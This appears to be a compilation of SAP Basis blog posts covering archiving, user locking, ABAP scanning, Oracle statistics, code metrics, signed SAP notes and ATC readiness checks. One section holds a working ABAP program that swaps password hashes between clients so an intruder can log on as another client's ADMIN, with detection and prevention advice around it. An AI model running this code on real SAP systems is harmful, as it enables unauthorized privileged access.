SAP database growth control: data archiving business discussions

This blog will give answers to the following questions:

  • When to start data archiving discussion with the business?
  • How to come to good retention periods?
  • What are arguments for not archiving certain data?

Data archiving discussion with the business

Unlike technical data deletion, functional data archiving cannot be done without proper business discussion and approval.

Depending on your business several aspects for data are important:

  • Auditing and Sox needs
  • Tax and legal retention periods
  • Product data requirement
  • And so on…..

Here are some rules of thumb you can use before considering to start up the business discussions about archiving:

Rule of thumb 1: the system is pretty new. At least wait 3 years to get an insight into which tables are growing fast and are worth to investigate for data archiving.
Rule of thumb 2: if your system is growing slowly, but the infrastructure capabilities grow faster: only perform technical clean up and don't even start functional data archiving.
Rule of thumb 3: if you are on HANA: check if the data aging concept for functional objects is stable enough and without bugs. Data aging does not require much work, it is only technical and it does not require much business discussions. Data retrieval from end user perspective is transparent.

Data analysis before starting the discussion

If your system is growing fast and/or you are getting performance complaints, then you need to do proper data analysis before starting any business discussion.

Start with proper analysis on the data. Use the TAANA tool to get insights into the data: how is the distribution of data per document type, per year, per plant/company code etc. If you want to propose retention period of let’s say 5 years, you can use the TAANA results to show what percentage of data you can move out of the database.

Secondly: if you have an idea on which data you want to archive, first execute a trial run on a recent production copy. There might be functional blocks that prevent you from archiving data (like not closed documents).

Third important factor is the ease of data retrieval. Some object have a nice simple data retrieval function, and some are really terrible. If the retrieval is good, the business will more easily accept a shorter retention period.

As last step you can start the business case: how much data will be saved (and how much money hence will be save) and how much performance would be gain. And how much time is needed to be invested for setting up, checking (testing!) and running the data archiving runs.

In practice data archiving business case is only present in very large systems of 5 TB and larger. This sizing tipping point changes in time as hardware gets cheaper and hourly manpower costs go up.

The discussion itself

Take must time in planning for the discussion itself. It is not uncommon that archiving discussions take over a year to complete. The better you are prepared the easier the discussion. It also helps to have a few real performance pain points to get solved via data archiving. There is normally a business owner for this pain point who can help push data archiving.

Cross client access hacking

Most people underestimate how easy it is to gain access from one client to another client. This blog will explain how easy it is to do it.

Questions that will be answered in this blog are:

  • How to execute a cross client access hack?
  • How to detect this attack?
  • What preventive measures should I take to prevent this in my systems?

Cross client hack explained

You have gained access to a maintenance client by any method (most easy is standard users: see blog on this topic). Some basis and security people will waive this away and say: “by having access to client 066 the hacker cannot do anything, since the real business data is stored into a different client”.

So what the hacker will do is simple open the system client for ABAP coding (SCC4 client opening works from any client). Then he loads this simple program:

REPORT ZSWAPUSER. 

data: zls_usr02_1 type usr02. 
data: zls_usr02_2 type usr02. 
data: zls_usr02_t type usr02. 

parameters p_uname1 type usr02-bname. 
parameters p_mandt1 type sy-mandt. 
parameters p_mandt2 type sy-mandt.

select single * from usr02 client specified into zls_usr02_1 where bname eq p_uname1 and mandt = p_mandt1. 

select single * from usr02 client specified into zls_usr02_2 where bname eq p_uname1 and mandt = p_mandt2. 

zls_usr02_t = zls_usr02_1. zls_usr02_t-mandt = p_mandt2. modify usr02 client specified from zls_usr02_t. 
write sy-subrc. 

zls_usr02_t = zls_usr02_2. zls_usr02_t-mandt = p_mandt1. 
modify usr02 client specified from zls_usr02_t. 
write sy-subrc.

In the source client hacked a new user will be created. Let’s say the user ADMIN, which is also existing in the target client. The hacker creates the user ans sets the password in the source client he has access to. Now he runs the program. The program simply reads the password cross client (yes, ABAP can do cross client reading and updating), and then swaps them…..

After the swap the hacker will logon to the target client with the password he has set and enjoys all the roles from the user ADMIN. After he is done, he simply runs the program again. Then the old password is put back again.

Detecting this attack

Detecting this attack directly is very difficult. There are traces:

  • Client opening and closing in the source client
  • The presence of the ABAP code
  • The ABAP action in the source client’s audit log (you did switch on the audit log in all clients, didn’t you? And if you didn’t read this blog how to do it and execute it!)
  • ADMIN access from same terminal as the hacker is using to logon to the source client

Preventive measures

The following preventive measures can be taken:

  • Reset all standard passwords in all systems in all clients (see blog)
  • Delete no longer needed clients 001 and 066 (see blog)
  • Switch on audit logging in all clients (see blog)

Mass locking and end validity date of users

There are 2 good reasons for mass locking and ending validity date of user: security and licenses.

Questions that will be answered in this blog are:

  • How can I mass lock users automatically if they have not logged on for a certain time?
  • How can I mass set the validity date of the users that did not log on for a certain time?

Automatic lock of user after expired logon

In RZ11 you can set parameter login/password_max_idle_productive with an amount in days.

Password max idle initial

If the user (including yourself) did not logon to the system after this amount of days the password is still valid, but it does not allow you to logon.

If the user tries to logon after the period he will see this error message and cannot continue:

Password deactivated

In SU01 such a user looks like this:

Password expired

If you also want to automatically lock users after you give them a new password, use the parameter login/password_max_idle_initial.

Initial passwords is one of the nice ways of entering a system as hacker. Especially if the initial password used by the admin is more or less the same (like Welcome_1234!). Countermeasure: instruct your admins to use the Password Generator. This will generate long random once off password.

Mass setting of user validity date

For user measurement and security reasons you want to limit the validity period as well. Users who are locked still count for user measurement (see blog on license measurement tips & tricks). Users locked and unlocked by some method can be security threat.

Standard SAP program RSUSR_LOCK_USERS (built on top of program RSUSR200) is the tool to achieve this.

It has quite a long selection screen:

RSUSR_LOCK_USERS screen 1

On the first block set the dates for last logon and password change to get a good selection of users.

RSUSR_LOCK_USERS screen 2

On the second block very important to only select Dialog Users.

First run with Test Selection to get a list. If you are happy with the list, run it with Set End Of Validity Period.

Performance and bug notes (OSS search hints RSUSR200 and RSUSR_LOCK_USERS): 
2615606 - SUIM | Search for users with incorrect logon does not work
2628060 - SUIM | RS USR200: Poor performance

 

Scanning ABAP code: ABAP search tool

This blog will explain how to scan ABAP coding in search of a specific keyword or string. Many times older or badly written programs contain hard code logic like system ID’s, plant codes, movement types, order types etc. When a larger business change happens you need to find these codes in your ABAP code and act on them. This blog will explain how to do this search.

Questions that will be answered are:

  • How does the scan program work?
  • How to search for certain strings?
  • How to search for words in the comments?

ABAP search tool

You can start the ABAP search tool with tcode code_scanner:

Search start screen

For testing 2 simple programs are written:

REPORT zscantest1.

IF syst-sysid EQ 'S4H'.
  WRITE'development system'.
ELSEIF syst-sysid EQ 'S4P'.
  WRITE'production system'.
ENDIF.
REPORT zscantest2.

DATA zt001w TYPE t001w.

SELECT SINGLE werks FROM t001w INTO zt001w.

IF zt001w-werks EQ 'DE01'.
  WRITE'German plant'.
ELSEIF zt001w-werks  EQ 'US01'.
* USA plant
  WRITE'US plant'.
ELSE.
  WRITE'diffferent plant'.
ENDIF.

If we now start a search with the word ‘S4H’ we get this result:

Result search 1

A hard coded SID.

If we search with ‘US01’ we get this result:

Result search 2

A hard coded plant.

If we search with ‘USA’ we get this result:

Result search 3

The word we were looking for is in the comment lines.

Oracle statistics update

If you are having performance issues, of if you have done intensive data archiving or technical cleanup in your system running on Oracle, you need to consider the Oracle statistics. Without proper statistics the performance of your system will be sub-optimal or even bad.

Questions that will be answered in the blog are:

  • How to run Oracle index statistics update?
  • How to use the update as part of technical cleanup?

Oracle index statistics update

To run the Oracle index statistics update, goto transaction SE38 and start program RSANAORA:

RSANAORA start screen

To redo the statistics of an index fill out the table and index in the format: table~index. In this example the main index (0) of table BALDAT is chosen: BALDAT~0.

Run the update and wait for it to be finished:

After RSANAORA run

Repeat this for every indexd defined in your system (lookup in SE11, button Indexes).

Runtime will depend on the amount of entries in the table and the type of infrastructure. Test on acceptance system before running in productive server.

Index run for almost empty tables

If your table is empty or almost empty you can also run RSANAORA with the option Alter index rebuild online. This will speed up read performance for that table index.

Regular runs

If you have setup regular technical clean up jobs as explained in this blog, you can opt to schedule a last step in the clean up job the update of the statistics program RSANAORA. This will ensure best performance while it will hardly cost you time.

ABAP code metric tool

There are many static code analysis tools. Long list can be found on Wikipedia. At some point in time a manager or developer might come to you with one of these tools like “hey, at my previous customer we used SonarABAP for code measurements”.

This blog will explain the ABAP code metric tool built into netweaver. Together with the ATC tool the code metric tool covers most of the functions that such tools deliver.

Questions that will be answered in this blog are:

  • How to run ABAP code metric tool?
  • What output will the ABAP code metric tool deliver?
  • Use cases of the ABAP code metric tool?

Test program

The test the code metric tool write a small ABAP program like this:

ZNESTEDIF test program

This program has nested IF statements (3 levels deep), one ELSE statement and a nested DO.

Code metric tool

Start the custom code analyis tools with transaction /SDF/CD_CCA:

/SDF/CD_CCA

The code metric tool is the tool on the bottom of the screen.

On the start screen select the package and extra checks (selecting more packages and checks will increase the runtime of the tool):

Code metric tool start screen

Result for our test program:

Code metric tool output

The output is giving:

  • LoC: lines of code
  • NoS: number of statements
  • NoC: number of comments
  • COM: complexity of condititions
  • TOTAL DD: complexity weighted by decision depth
  • etc
  • IF: 3 (this was in our test program)
  • ELSEIF: 1
  • DO: 2
  • etc like amount of loops, selects, updates, deletes, modifies, case statements.

Use cases of Code Metric Tool

Use case 1: complex programs

Complex programs are normally source of most productive issues. You can use the code tool to check if the program is not too overly complex (like many nested if and case statements).

Use case 2: the procedural versus OO discussion

Sometimes you have managers wanting you to count the amount of Z objects. If you have switched from procedural coding to OO coding you will find the amount of objects to have increased. The code metric tool can help you here by counting the amount of statements and complexity. The amount of objects in OO is typically higher, but due to re-use and better setup, the total amount of statements and the total complexity decision depth should be smaller.

ABAP clone finder

This blog will explain the use of SAP clone finder.

Questions that will be answered in the blog are:

  • What are clones?
  • How to run the clone finder tool?
  • How to analyze the difference between the original and the clone?

What are clones?

Standard SAP offers lot of out-of-the-box functions and reports. But in many cases the standard report only offers 95%. What to do? In many cases developers copy the standard SAP program to Z copy and add the needed 5%. When upgrading the system to higher version or when applying support packages or OSS notes, the Z clone will not be upgraded to latest version. Maybe the clone needs updates as well, or can be deleted now after upgrade (if SAP added the missing 5%).

The clone finder tool is able to find the clones made in the past.

Running the clone finder tool

The clone finder is part of the Custom Code Anlysis workbench. Start the workbench with transaction /SDF/CD_CCA:

/SDF/CD_CCA

Clone finder is on top of the list.

Start screen of clone finder:

Clone finder start screen

Pending on the size of your system you can run online or in batch.

Test result of standard SAP copy made as example:

Clone finder results

As example program RSUSR003 and its includes were copied to Z programs. 3 are shown as identical copies. 1 is altered.

In the function link column you can hit the Version Compare button to see the differences:

Version comparison

Differences: the name of program and includes are different. And the authorization check was removed.

Digitally signed SAP notes

In the previous blog on SAP security notes you will see that security notes popup around “Digitally signed SAP notes”.

This blog will explain more on how to implement this.

Questions that will be answered in this blog are:

  • Why switch over to the new way?
  • How to implement the feature to download digitally signed SAP notes?
  • How to make the relevant settings?
  • Where to find more information?

Why switch over to the new way?

SAP keeps improving their security in all ways. Including OSS notes. There is no direct benefit. After downloading the OSS notes, the handling is identical for old and new way.

Switching over from current way of working to digitally signed SAP notes can be done any time.

SAP has announced the following: "Post January 1, 2020, the download and upload process will stop working unless Note Assistant (SNOTE transaction) is enabled in ABAP systems to work with digitally signed SAP Notes".

How to implement digitally signed SAP notes?

There are 2 basic ways to implement (you have to do only one):

  1. Apply OSS notes 2508268, 2408073 and 2546220.
  2. Apply TCI based OSS note  2576306, which contains all the notes (and manual work) in the notes mentioned in point 1. Your system needs to be able to handle TCI based OSS notes (see this blog on how to do this).

Settings after implementation

If you have done the TCI based import a new customizing node is available:

Spro extension for SNOTE

The first one (direct program in SE38 is called RCWB_SNOTE_DWNLD_PROC_CONFIG) is to set the way of downloading:

Note download procedure

The second one (direct program in SE38 is called RCWB_UNSIGNED_NOTE_CONFIG) is to allow only digitally signed SAP notes:

File type for SAP note

How to validate if the notes now are digitally signed?

To see if all is ok, download and implement a new OSS note. In the note log you can now see the digital signature download in the note log (in nice German words):

Digital signature in SAP note log

Where to find more information?

More information can be found at the following sources:

Use remote ATC for baselining Z code

In the previous blogs we have explain how to run ATC from central system to remote system. This will enable you to for example run the ATC against an older release, which doesn’t have the ATC tool capability.

But there is one other common issue with older systems: you have lots of existing legacy Z code. If you want to clean up or start with new guidelines the ATC is initially not helpfull since it will give you lots of errors.

This blog will explain the concept of baselining the current Z code with an initial run to give you a clean start.

Questions that will be answered in this blog are:

  • How to setup the ATC baseline?
  • How to run the ATC baseline?
  • What are the known limitations of the ATC baseline functionality?

Setting the baseline

To set the baseline, first run a full ATC remote check. This will give many issues. In the ATC results screen select the run and press the button Baseline to mark the current results as baseline.

Set ATC baseline

You can choose that the current results are simply suppressed, are treated as exemptions or are treated as low priority.

If you run ATC tool again, please make sure in your run variant that you now select the consider baseline tickbox:

ATC run settings for baseline

If you don’t change any coding in the remote system the next run of ATC should give you a clean run with no issues (in case you have choosen suppression).

ATC after baseline

In the remote system we now do 2 coding changes:

  • We had before the baseline a bad program called ZCRAP1. To this program we do a change.
  • We created a new program called ZCRAP2.

Now we run the ATC tool again with the baseline to ignore the baselined findings.

ATC results after baseline

The ATC tool now finds issues in both the changed and the newly created program.

The unfortunate thing is that for the old program, it does not look at the newly added lines, but it looks at ALL the issued in the analysed code (also the existing). 
This might lead to some surprise if you add 1 line to a 1000 line existing bad code: this will give lots of errors. It is up to you to decide to fix the existing errors or just exempt the existing ones.

Baseline suppression known issues

The baseline suppression has some known issue situations. These are listed in OSS note 2552932 – ATC: Baseline Does not Suppress all Findings.

Bug fix notes:

Using remote ATC for S4HANA readiness checks

In one of the previous blogs we explained how you can perform analysis on your system as preparation for the S4HANA upgrade. This blog will explain how to run detailed analysis on your custom code as preparation for S4HANA upgrade. Pre-condition is that you have installed 7.52 netweaver system and done the configuration for remote ATC as described in this blog.

Questions that will be answered in this blog are:

  • What do I need to do in order to set up the remote S4HANA readiness check in ATC?
  • How to run the remote S4HANA readiness check?
  • How to handle the results of the remote S4HANA readiness check?

How to set up remote ATC for S4HANA readiness check?

To run the remote ATC for S4HANA readiness check you must install a netweaver 7.52 system and configure the remote ATC. Instructions can be found in this blog.

In the central 7.52 ATC system you must then apply all the extra OSS notes needed that are listed in OSS note 2436688 – Recommended SAP Notes for using S/4HANA custom code checks in ATC.

In the SAP code inspector (for details see this blog) you can now find the S4HANA readiness variants:

SCI variants

How to run the S4HANA readiness in ATC?

To run the S4HANA readiness variant create in the ATC tool (for all details see this blog) a special S4HANA readiness run series:

ATC S4HANA readiness

In this run it is important to put your analysis system object provider into the variant!

Now start the ATC run and be patient. The run might take a few hours pending on your system size and Z code base sizing.

You can monitor the progress in the ATC run monitor:

ATC run monitor

You can also see here if any tool issues were reported. If tool issues are present, click on the underlined number and see if you can solve them. Most issues are SAP bugs and you need to apply an OSS note. Before creating new message for SAP make sure you have applied all recent notes for the S4HANA readiness check (2436688 – Recommended SAP Notes for using S/4HANA custom code checks in ATC) and all the remote ATC notes as explained in the remote ATC blog.

How to handle the results?

If the ATC run is finished you can look at the results in the central system:

S4HANA readiness check result

The results consist of a code point where a potential issue is. If you click on the code point you jump to the analyzed systems code.

There is also a note number which explains what you need to check.

Now basically 3 things can happen:

  • You can fix the issue directly: nice, the next run the issue is gone.
  • You read from the OSS note the function has changed or is no longer present in S4HANA. Read the OSS note for alternatives or check with your functional consultant on functional alternatives. Example of change is the way output and pricing is done. You know now it will be changed, but you cannot prepare in the current system. Use the list as input for project management for work estimation.
  • You read from the OSS note the potential issue and conclude it is not relevant for your situation. Example is material number length handling. If you use material numbers properly this is not relevant for you, but the tool will generate massive amounts of alerts. But maybe in some cases you need to intervene.

To distribute the results, apply OSS note 2499684. This enables you to download the ATC results into xls spread sheet. From here it is easier to follow up if action is needed for long list (like material number length) or not.

If you have done your first round of check, you want to rerun. But some notes you might have detected as not relevant and you want to exclude them.

To do this copy the SCI S4HANAREADINESS variant to your own variant. Then change the SCI variant to exclude the OSS notes you don’t want to see any more:

Exclude S4HANA OSS note

 

 

 

Now rerun the ATC with the new variant. The list you get will be smaller. Repeat this iterations as long as needed.

Don't change the originally SAP delivered SCI variants. New features and bug fixes by SAP will update this variant. If you have an updated SAP variant, simply copy it again to your Z variant and redo the exclusion of OSS notes.

S4HANA 1809 update

If you previously installed remote ATC for a 1709 check and want to run now for S4HANA 1809 there are a few update steps to follow.

First step is to install OSS note 2659194 – Check variant for SAP S/4HANA 1809 custom code checks and carry out the manual aftercare action. This will deliver you the SCI variant for S4HANA_READINESS_1809.

If you now run remote ATC without step 2, you get the issue described in OSS note 2532285 – ATC: Inspection was not executed because target release information cannot be processed.

Step 2 is to update the simplification content to version 1809. You have to download the content from SAP software site and upload it in your ATC 7.52 system. For this step follow the instructions from OSS note 2241080 – SAP S/4HANA: Content for checking customer specific code.

Short summary of these steps in this note: download the most up-to-date simplification database:

Simplification content

In the 7.52 central ATC system use tcode SYCM to upload this file.

Update new content procedure

Now you are good to go for the S4HANA 1809 readiness check for custom code.